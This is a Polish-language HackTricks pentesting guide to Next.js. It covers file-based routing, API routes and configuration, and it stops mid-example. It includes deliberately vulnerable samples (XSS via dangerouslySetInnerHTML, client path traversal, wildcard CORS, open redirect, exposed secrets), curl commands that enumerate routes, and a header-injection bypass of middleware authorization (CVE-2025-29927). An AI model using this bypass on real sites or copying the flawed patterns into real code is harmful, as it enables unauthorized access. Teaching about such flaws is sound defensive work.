NextJS
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Ogólna architektura aplikacji Next.js
Typowa struktura plików
Standardowy projekt Next.js korzysta ze specyficznej struktury plików i katalogów, która ułatwia działanie funkcji takich jak routing, endpointy API oraz zarządzanie statycznymi zasobami. Oto typowy układ:
my-nextjs-app/
├── node_modules/
├── public/
│ ├── images/
│ │ └── logo.png
│ └── favicon.ico
├── app/
│ ├── api/
│ │ └── hello/
│ │ └── route.ts
│ ├── layout.tsx
│ ├── page.tsx
│ ├── about/
│ │ └── page.tsx
│ ├── dashboard/
│ │ ├── layout.tsx
│ │ └── page.tsx
│ ├── components/
│ │ ├── Header.tsx
│ │ └── Footer.tsx
│ ├── styles/
│ │ ├── globals.css
│ │ └── Home.module.css
│ └── utils/
│ └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json
Główne katalogi i pliki
- public/: Przechowuje statyczne zasoby, takie jak obrazy, fonty i inne pliki. Pliki tutaj są dostępne pod ścieżką główną (
/). - app/: Centralny katalog dla stron aplikacji, layoutów, komponentów i tras API. Wykorzystuje paradygmat App Router, umożliwiając zaawansowane funkcje routingu oraz rozdzielenie komponentów po stronie serwera i klienta.
- app/layout.tsx: Definiuje główny layout aplikacji, obejmujący wszystkie strony i zapewniający spójne elementy UI, takie jak nagłówki, stopki i paski nawigacji.
- app/page.tsx: Służy jako punkt wejścia dla trasy root
/, renderując stronę główną. - app/[route]/page.tsx: Obsługuje trasy statyczne i dynamiczne. Każdy folder w
app/reprezentuje segment trasy, apage.tsxw tych folderach odpowiada za komponent trasy. - app/api/: Zawiera trasy API, pozwalając na tworzenie funkcji serverless obsługujących żądania HTTP. Te trasy zastępują tradycyjny katalog
pages/api. - app/components/: Zawiera wielokrotnego użytku komponenty React, które można wykorzystać na różnych stronach i w layoutach.
- app/styles/: Zawiera globalne pliki CSS i CSS Modules do stylowania ograniczonego do komponentów.
- app/utils/: Zawiera funkcje pomocnicze, moduły narzędziowe i inną logikę nie-UI, którą można udostępniać w aplikacji.
- .env.local: Przechowuje zmienne środowiskowe specyficzne dla lokalnego środowiska deweloperskiego. Te zmienne nie są dodawane do kontroli wersji.
- next.config.js: Dostosowuje zachowanie Next.js, w tym konfiguracje webpack, zmienne środowiskowe i ustawienia bezpieczeństwa.
- tsconfig.json: Konfiguruje ustawienia TypeScript dla projektu, włączając sprawdzanie typów i inne funkcje TypeScript.
- package.json: Zarządza zależnościami projektu, skryptami i metadanymi.
- README.md: Zawiera dokumentację i informacje o projekcie, w tym instrukcje konfiguracji, wskazówki użytkowania i inne istotne szczegóły.
- yarn.lock / package-lock.json: Blokują wersje zależności projektu, zapewniając spójne instalacje w różnych środowiskach.
Po stronie klienta w Next.js
Routowanie oparte na plikach w katalogu app
Katalog app jest podstawą routingu w najnowszych wersjach Next.js. Wykorzystuje system plików do definiowania tras, co sprawia, że zarządzanie nimi jest intuicyjne i skalowalne.
Obsługa ścieżki root /
Struktura plików:
my-nextjs-app/
├── app/
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Kluczowe pliki:
app/page.tsx: Obsługuje żądania do ścieżki głównej/.app/layout.tsx: Definiuje układ aplikacji, obejmujący wszystkie strony.
Implementacja:
tsxCopy code// app/page.tsx
export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}
Wyjaśnienie:
- Definicja trasy: Plik
page.tsxbezpośrednio w kataloguappodpowiada trasie/. - Renderowanie: Ten komponent renderuje zawartość strony głównej.
- Integracja layoutu: Komponent
HomePagejest opakowany przezlayout.tsx, który może zawierać nagłówki, stopki i inne wspólne elementy.
Obsługa innych statycznych ścieżek
Przykład: trasa /about
Struktura plików:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── about/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementacja:
// app/about/page.tsx
export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}
Wyjaśnienie:
- Definicja trasy: Plik
page.tsxznajdujący się w folderzeaboutodpowiada trasie/about. - Renderowanie: Ten komponent renderuje zawartość strony about.
Trasy dynamiczne
Trasy dynamiczne pozwalają obsługiwać ścieżki z zmiennymi segmentami, umożliwiając aplikacjom wyświetlanie zawartości na podstawie parametrów takich jak ID, slugi itp.
Przykład: /posts/[id] Trasa
Struktura plików:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── posts/
│ │ └── [id]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementacja:
tsxCopy code// app/posts/[id]/page.tsx
import { useRouter } from 'next/navigation';
interface PostProps {
params: { id: string };
}
export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'
return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}
Wyjaśnienie:
- Dynamic Segment:
[id]oznacza dynamiczny segment w trasie, przechwytujący parametridz URL. - Accessing Parameters: Obiekt
paramszawiera dynamiczne parametry, dostępne wewnątrz komponentu. - Route Matching: Każda ścieżka pasująca do
/posts/*, taka jak/posts/1,/posts/abcitd., będzie obsługiwana przez ten komponent.
Zagnieżdżone trasy
Next.js obsługuje zagnieżdżone trasy, umożliwiając hierarchiczną strukturę ścieżek odzwierciedlającą układ katalogów.
Przykład: trasa /dashboard/settings/profile
Struktura plików:
arduinoCopy codemy-nextjs-app/
├── app/
│ ├── dashboard/
│ │ ├── settings/
│ │ │ └── profile/
│ │ │ └── page.tsx
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementacja:
tsxCopy code// app/dashboard/settings/profile/page.tsx
export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}
Wyjaśnienie:
- Głębokie zagnieżdżenie: Plik
page.tsxznajdujący się wdashboard/settings/profile/odpowiada za trasę/dashboard/settings/profile. - Odwzorowanie hierarchii: Struktura katalogów odzwierciedla ścieżkę URL, co zwiększa łatwość utrzymania i czytelność.
Trasy catch-all
Trasy catch-all obsługują wiele zagnieżdżonych segmentów lub nieznane ścieżki, zapewniając elastyczność w obsłudze tras.
Przykład: trasa /*
Struktura plików:
my-nextjs-app/
├── app/
│ ├── [...slug]/
│ │ └── page.tsx
│ ├── layout.tsx
│ └── page.tsx
├── public/
├── next.config.js
└── ...
Implementacja:
// app/[...slug]/page.tsx
interface CatchAllProps {
params: { slug: string[] }
}
export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`
return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}
Wyjaśnienie:
- Catch-All Segment:
[...slug]przechwytuje wszystkie pozostałe segmenty ścieżki jako tablicę. - Usage: Przydatne do obsługi scenariuszy dynamicznego routingu, takich jak ścieżki tworzone przez użytkowników, zagnieżdżone kategorie itp.
- Route Matching: Ścieżki takie jak
/anything/here,/foo/bar/bazitp. są obsługiwane przez ten komponent.
Potencjalne luki po stronie klienta
Chociaż Next.js zapewnia bezpieczną podstawę, niewłaściwe praktyki kodowania mogą wprowadzać luki. Do kluczowych podatności po stronie klienta należą:
Cross-Site Scripting (XSS)
Ataki XSS pojawiają się, gdy złośliwe skrypty są wstrzykiwane do zaufanych stron. Atakujący mogą wykonywać skrypty w przeglądarkach użytkowników, kraść dane lub wykonywać akcje w ich imieniu.
Przykład podatnego kodu:
// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}
Dlaczego jest to podatne: Użycie dangerouslySetInnerHTML z niezaufanym wejściem pozwala atakującym wstrzykiwać złośliwe skrypty.
Client-Side Template Injection
Występuje, gdy dane wejściowe użytkownika są niewłaściwie obsługiwane w szablonach, co pozwala atakującym wstrzykiwać i wykonywać szablony lub wyrażenia.
Przykład podatnego kodu:
import React from "react"
import ejs from "ejs"
function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}
Dlaczego jest podatne: Jeśli template lub data zawiera złośliwą zawartość, może to prowadzić do wykonania niezamierzonego kodu.
Client Path Traversal
To podatność, która pozwala atakującym manipulować ścieżkami po stronie klienta, by wykonać niezamierzone działania, takie jak Cross-Site Request Forgery (CSRF). W odróżnieniu od server-side path traversal, który celuje w system plików serwera, CSPT koncentruje się na wykorzystywaniu mechanizmów po stronie klienta do przekierowywania legalnych żądań API do złośliwych endpointów.
Przykład podatnego kodu:
Aplikacja Next.js pozwala użytkownikom przesyłać i pobierać pliki. Funkcja pobierania jest zaimplementowana po stronie klienta, gdzie użytkownicy mogą podać ścieżkę pliku do pobrania.
// pages/download.js
import { useState } from "react"
export default function DownloadPage() {
const [filePath, setFilePath] = useState("")
const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}
return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}
Scenariusz ataku
- Cel atakującego: Wykonać atak CSRF w celu usunięcia krytycznego pliku (np.
admin/config.json) poprzez manipulacjęfilePath. - Wykorzystanie CSPT:
- Malicious Input: Atakujący przygotowuje URL z zmanipulowanym
filePath, np.../deleteFile/config.json. - Resulting API Call: Kod po stronie klienta wykonuje żądanie do
/api/files/../deleteFile/config.json. - Server’s Handling: Jeśli serwer nie waliduje
filePath, przetwarza żądanie, potencjalnie usuwając lub ujawniając wrażliwe pliki.
- Wykonanie CSRF:
- Crafted Link: Atakujący wysyła ofierze link lub osadza złośliwy skrypt, który wywołuje żądanie pobrania ze zmanipulowanym
filePath. - Outcome: Ofiara nieświadomie wykonuje akcję, co prowadzi do nieautoryzowanego dostępu do plików lub ich usunięcia.
Dlaczego to jest podatne
- Brak walidacji danych wejściowych: Po stronie klienta dopuszczane są dowolne wartości
filePath, co umożliwia path traversal. - Ufanie danym pochodzącym od klienta: API po stronie serwera ufa i przetwarza
filePathbez sanitizacji. - Możliwe działania API: Jeśli endpoint API wykonuje akcje zmieniające stan (np. delete, modify files), może zostać wykorzystany poprzez CSPT.
Rozpoznanie: odkrywanie tras exportu statycznego przez _buildManifest
When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.
- Grab the buildId from the root response (often printed at the bottom) or from
<script>tags loading/_next/static/<buildId>/.... - Fetch the manifest and extract routes:
build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'
- Użyj odkrytych ścieżek (na przykład
/docs,/docs/content/examples,/signin) do przeprowadzenia testów uwierzytelniania i odkrywania endpointów.
Po stronie serwera w Next.js
Renderowanie po stronie serwera (SSR)
Strony są renderowane po stronie serwera przy każdym żądaniu, co zapewnia użytkownikowi w pełni wyrenderowany HTML. W tym przypadku powinieneś utworzyć własny serwer, aby przetwarzać żądania.
Zastosowania:
- Dynamiczna zawartość, która często się zmienia.
- Optymalizacja SEO, ponieważ wyszukiwarki mogą indeksować w pełni wyrenderowaną stronę.
Implementacja:
// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Static Site Generation (SSG)
Strony są prerenderowane w czasie budowania, co skutkuje szybszym ładowaniem i zmniejszonym obciążeniem serwera.
Zastosowania:
- Treści, które nie zmieniają się często.
- Blogi, dokumentacja, strony marketingowe.
Implementacja:
// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}
function HomePage({ data }) {
return <div>{data.title}</div>
}
export default HomePage
Funkcje serverless (API Routes)
Next.js pozwala na tworzenie endpointów API jako funkcji serverless. Te funkcje są uruchamiane na żądanie bez potrzeby posiadania dedykowanego serwera.
Zastosowania:
- Obsługa przesyłania formularzy.
- Interakcja z bazami danych.
- Przetwarzanie danych lub integracja z zewnętrznymi API.
Implementacja:
Wprowadzenie katalogu app w Next.js 13 sprawiło, że routowanie i obsługa API stały się bardziej elastyczne i potężne. To nowoczesne podejście jest zbliżone do systemu routingu opartego na plikach, ale wprowadza rozszerzone możliwości, w tym obsługę komponentów serwerowych i klienckich.
Podstawowy handler trasy
Struktura plików:
my-nextjs-app/
├── app/
│ └── api/
│ └── hello/
│ └── route.js
├── package.json
└── ...
Implementacja:
// app/api/hello/route.js
export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))
Wyjaśnienie:
- Lokalizacja: Trasy API znajdują się w katalogu
app/api/. - Nazwa pliku: Każdy endpoint API znajduje się w osobnym folderze zawierającym plik
route.jslubroute.ts. - Eksportowane funkcje: Zamiast pojedynczego eksportu domyślnego, eksportuje się funkcje dla konkretnych metod HTTP (np.
GET,POST). - Obsługa odpowiedzi: Użyj konstruktora
Responsedo zwracania odpowiedzi, co pozwala na większą kontrolę nad nagłówkami i kodami statusu.
Jak obsługiwać inne ścieżki i metody:
Obsługa konkretnych metod HTTP
Next.js 13+ umożliwia zdefiniowanie handlerów dla konkretnych metod HTTP w tym samym pliku route.js lub route.ts, co sprzyja czytelniejszemu i lepiej zorganizowanemu kodowi.
Przykład:
// app/api/users/[id]/route.js
export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Wyjaśnienie:
- Wiele eksportów: Każda metoda HTTP (
GET,PUT,DELETE) ma swoją własną eksportowaną funkcję. - Parametry: Drugi argument daje dostęp do parametrów trasy przez
params. - Rozszerzone odpowiedzi: Większa kontrola nad obiektami odpowiedzi, umożliwiająca precyzyjne zarządzanie nagłówkami i kodem statusu.
Catch-All i zagnieżdżone trasy
Next.js 13+ obsługuje zaawansowane funkcje routingu, takie jak trasy catch-all i zagnieżdżone trasy API, co pozwala na bardziej dynamiczne i skalowalne struktury API.
Przykład trasy catch-all:
// app/api/[...slug]/route.js
export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}
Wyjaśnienie:
- Składnia:
[...]oznacza segment typu catch-all, przechwytujący wszystkie zagnieżdżone ścieżki. - Zastosowanie: Przydatne dla API, które muszą obsługiwać różną głębokość ścieżek lub dynamiczne segmenty.
Przykład zagnieżdżonych tras:
// app/api/posts/[postId]/comments/[commentId]/route.js
export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}
Wyjaśnienie:
- Głębokie zagnieżdżenie: Umożliwia hierarchiczną strukturę API, odzwierciedlając relacje między zasobami.
- Dostęp do parametrów: Łatwy dostęp do wielu parametrów trasy za pomocą obiektu
params.
Obsługa tras API w Next.js 12 i starszych
Trasy API w katalogu pages (Next.js 12 i wcześniejsze)
Zanim Next.js 13 wprowadził katalog app i rozszerzone możliwości routingu, trasy API były głównie definiowane w katalogu pages. Podejście to jest nadal powszechnie używane i obsługiwane w Next.js 12 i wcześniejszych wersjach.
Podstawowa trasa API
Struktura plików:
goCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── hello.js
├── package.json
└── ...
Implementacja:
javascriptCopy code// pages/api/hello.js
export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}
Wyjaśnienie:
- Lokalizacja: Trasy API znajdują się w katalogu
pages/api/. - Eksport: Użyj
export default, aby zdefiniować funkcję obsługi. - Sygnatura funkcji: Funkcja obsługi otrzymuje obiekty
req(żądanie HTTP) ires(odpowiedź HTTP). - Routowanie: Nazwa pliku (
hello.js) odpowiada endpointowi/api/hello.
Dynamiczne trasy API
Struktura plików:
bashCopy codemy-nextjs-app/
├── pages/
│ └── api/
│ └── users/
│ └── [id].js
├── package.json
└── ...
Implementacja:
javascriptCopy code// pages/api/users/[id].js
export default function handler(req, res) {
const {
query: { id },
method,
} = req;
switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
Wyjaśnienie:
- Dynamic Segments: Nawiasy kwadratowe (
[id].js) oznaczają dynamiczne segmenty trasy. - Accessing Parameters: Użyj
req.query.id, aby uzyskać dostęp do dynamicznego parametru. - Handling Methods: Wykorzystaj logikę warunkową do obsługi różnych metod HTTP (
GET,PUT,DELETE, itp.).
Obsługa różnych metod HTTP
Podczas gdy podstawowy przykład API route obsługuje wszystkie metody HTTP w jednej funkcji, możesz zorganizować kod tak, aby każdą metodę obsługiwać osobno dla lepszej przejrzystości i łatwiejszego utrzymania.
Przykład:
javascriptCopy code// pages/api/posts.js
export default async function handler(req, res) {
const { method } = req;
switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}
Najlepsze praktyki:
- Separacja obowiązków: Wyraźnie rozdziel logikę dla różnych metod HTTP.
- Spójność odpowiedzi: Zapewnij spójne struktury odpowiedzi, ułatwiające obsługę po stronie klienta.
- Obsługa błędów: Poprawnie obsługuj nieobsługiwane metody i nieoczekiwane błędy.
Konfiguracja CORS
Kontroluj, które originy mają dostęp do twoich tras API, zmniejszając podatności związane z Cross-Origin Resource Sharing (CORS).
Przykład złej konfiguracji:
// app/api/data/route.js
export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}
Zwróć uwagę, że CORS może być również skonfigurowany we wszystkich trasach API wewnątrz pliku middleware.ts:
// app/middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")
const response = NextResponse.next()
if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}
// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}
return response
}
export const config = {
matcher: "/api/:path*", // Apply to all API routes
}
Problem:
Access-Control-Allow-Origin: '*': Zezwala dowolnej stronie na dostęp do API, co może pozwolić złośliwym serwisom na interakcję z Twoim API bez ograniczeń.- Szerokie zezwolenie metod: Zezwalanie na wszystkie metody może umożliwić atakującym wykonanie niepożądanych działań.
Jak atakujący to wykorzystują:
Atakujący mogą przygotować złośliwe strony, które wysyłają żądania do twojego API, potencjalnie nadużywając funkcji takich jak pobieranie danych, manipulacja danymi lub wywoływanie niepożądanych akcji w imieniu uwierzytelnionych użytkowników.
CORS - Misconfigurations & Bypass
Ujawnienie kodu serwera po stronie klienta
Łatwo jest użyć kodu wykorzystywanego przez serwer także w kodzie udostępnianym po stronie klienta; najlepszym sposobem, by upewnić się, że plik z kodem nigdy nie będzie dostępny po stronie klienta, jest użycie tego importu na początku pliku:
import "server-only"
Kluczowe pliki i ich role
middleware.ts / middleware.js
Location: Root projektu lub w src/.
Purpose: Wykonuje kod w funkcji server-side/serverless po stronie serwera przed przetworzeniem żądania, umożliwiając zadania takie jak uwierzytelnianie, przekierowania czy modyfikowanie odpowiedzi.
Execution Flow:
- Incoming Request: Middleware przechwytuje żądanie.
- Processing: Wykonuje operacje w oparciu o żądanie (np. sprawdzić uwierzytelnianie).
- Response Modification: Może zmienić odpowiedź lub przekazać kontrolę do następnego handlera.
Example Use Cases:
- Przekierowywanie niezalogowanych użytkowników.
- Dodawanie niestandardowych nagłówków.
- Logowanie żądań.
Sample Configuration:
// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"
export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}
export const config = {
matcher: ["/protected/:path*"],
}
Middleware authorization bypass (CVE-2025-29927)
Jeśli autoryzacja jest wymuszana w middleware, podatne wydania Next.js (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) można obejść przez wstrzyknięcie nagłówka x-middleware-subrequest. Framework pominie rekurencję middleware i zwróci chronioną stronę.
- Domyślne zachowanie to zazwyczaj przekierowanie 307 do ścieżki logowania, np.
/api/auth/signin. - Wyślij długą wartość
x-middleware-subrequest(powtarzajmiddleware, aby osiągnąćMAX_RECURSION_DEPTH), aby zmienić odpowiedź na 200:
curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
- Ponieważ strony uwierzytelnione pobierają wiele zasobów podrzędnych, dodaj nagłówek do każdego żądania (np. Burp Match/Replace z pustym ciągiem dopasowania), aby zapobiec przekierowywaniu assetów.
next.config.js
Location: Katalog główny projektu.
Purpose: Konfiguruje zachowanie Next.js — włączanie/wyłączanie funkcji, dostosowywanie konfiguracji webpack, ustawianie zmiennych środowiskowych oraz konfigurowanie różnych funkcji bezpieczeństwa.
Key Security Configurations:
Nagłówki bezpieczeństwa
Nagłówki bezpieczeństwa zwiększają bezpieczeństwo aplikacji, instruując przeglądarki, jak obsługiwać treści. Pomagają zmniejszyć ryzyko różnych ataków, takich jak Cross-Site Scripting (XSS), Clickjacking i sniffing typów MIME:
- Content Security Policy (CSP)
- X-Frame-Options
- X-Content-Type-Options
- Strict-Transport-Security (HSTS)
- Referrer Policy
Przykłady:
// next.config.js
module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}
Ustawienia optymalizacji obrazów
Next.js optymalizuje obrazy pod kątem wydajności, ale nieprawidłowa konfiguracja może prowadzić do podatności bezpieczeństwa, np. umożliwiając niezaufanym źródłom wstrzykiwanie złośliwych treści.
Zły przykład konfiguracji:
// next.config.js
module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}
Problem:
'*': Pozwala na ładowanie obrazów z dowolnego zewnętrznego źródła, w tym z niezaufanych lub złośliwych domen. Atakujący mogą hostować obrazy zawierające złośliwe payloads lub treści wprowadzające użytkowników w błąd.- Innym problemem może być zezwolenie domenie gdzie każdy może przesłać obraz (np.
raw.githubusercontent.com)
How attackers abuse it:
Poprzez wstrzykiwanie obrazów z złośliwych źródeł, atakujący mogą przeprowadzać phishing, wyświetlać wprowadzające w błąd informacje lub wykorzystywać luki w bibliotekach renderujących obrazy.
Ujawnianie zmiennych środowiskowych
Zarządzaj poufnymi danymi, takimi jak API keys i dane uwierzytelniające do bazy danych, w bezpieczny sposób, nie ujawniając ich klientowi.
a. Ujawnianie wrażliwych zmiennych
Przykład złej konfiguracji:
// next.config.js
module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}
Problem:
SECRET_API_KEY: Bez prefiksuNEXT_PUBLIC_Next.js nie udostępnia zmiennych po stronie klienta. Jednak jeśli przez pomyłkę zostanie poprzedzony prefiksem (np.NEXT_PUBLIC_SECRET_API_KEY), staje się dostępny po stronie klienta.
How attackers abuse it:
Jeśli wrażliwe zmienne są udostępnione po stronie klienta, atakujący mogą je odczytać poprzez analizę kodu po stronie klienta lub zapytań sieciowych, uzyskując nieautoryzowany dostęp do API, baz danych lub innych usług.
Przekierowania
Zarządzaj przekierowaniami i przepisaniami URL w swojej aplikacji, zapewniając, że użytkownicy są kierowani odpowiednio bez wprowadzania open redirect vulnerabilities.
a. Open Redirect Vulnerability
Zły przykład konfiguracji:
// next.config.js
module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}
Problem:
- Dynamic Destination: Pozwala użytkownikom określić dowolny URL, umożliwiając ataki typu open redirect.
- Trusting User Input: Przekierowania do URL-i podanych przez użytkowników bez walidacji mogą prowadzić do phishing, malware distribution lub credential theft.
How attackers abuse it:
Atakujący mogą tworzyć URL-e, które wyglądają, jakby pochodziły z twojej domeny, ale przekierowują użytkowników na złośliwe strony. Na przykład:
https://yourdomain.com/redirect?url=https://malicious-site.com
Użytkownicy ufający oryginalnej domenie mogą nieświadomie trafić na złośliwe strony internetowe.
Webpack Configuration
Dostosowywanie konfiguracji Webpack dla aplikacji Next.js może niezamierzenie wprowadzić luki w zabezpieczeniach, jeśli nie jest wykonywane ostrożnie.
a. Ujawnianie wrażliwych modułów
Zły przykład konfiguracji:
// next.config.js
module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}
Problem:
- Ujawnianie wrażliwych ścieżek: Tworzenie aliasów dla wrażliwych katalogów i umożliwienie dostępu po stronie klienta może spowodować leak poufnych informacji.
- Pakowanie sekretów: Jeśli wrażliwe pliki są pakowane dla klienta, ich zawartość staje się dostępna przez source maps lub poprzez inspekcję kodu po stronie klienta.
How attackers abuse it:
Atakujący mogą uzyskać dostęp do struktury katalogów aplikacji lub ją odtworzyć, potencjalnie znajdując i wykorzystując wrażliwe pliki lub dane.
pages/_app.js i pages/_document.js
pages/_app.js
Cel: Zastępuje domyślny komponent App, umożliwiając globalny stan, style i komponenty layoutu.
Zastosowania:
- Wstrzykiwanie globalnego CSS.
- Dodawanie wrapperów layoutu.
- Integracja bibliotek zarządzania stanem.
Przykład:
// pages/_app.js
import "../styles/globals.css"
function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}
export default MyApp
pages/_document.js
Cel: Nadpisuje domyślny Document, umożliwiając dostosowanie tagów <html> i <body>.
Zastosowania:
- Modyfikowanie tagów
<html>lub<body>. - Dodawanie meta tagów lub własnych skryptów.
- Integracja czcionek firm trzecich.
Przykład:
// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"
class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}
export default MyDocument
Niestandardowy serwer (opcjonalnie)
Cel: Chociaż Next.js zawiera wbudowany serwer, możesz utworzyć niestandardowy serwer dla zaawansowanych przypadków użycia, takich jak niestandardowe routowanie lub integracja z istniejącymi usługami backend.
Uwaga: Użycie niestandardowego serwera może ograniczyć opcje wdrożenia, szczególnie na platformach takich jak Vercel, które są zoptymalizowane pod kątem wbudowanego serwera Next.js.
Przykład:
// server.js
const express = require("express")
const next = require("next")
const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()
app.prepare().then(() => {
const server = express()
// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})
// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})
server.listen(3000, (err) => {
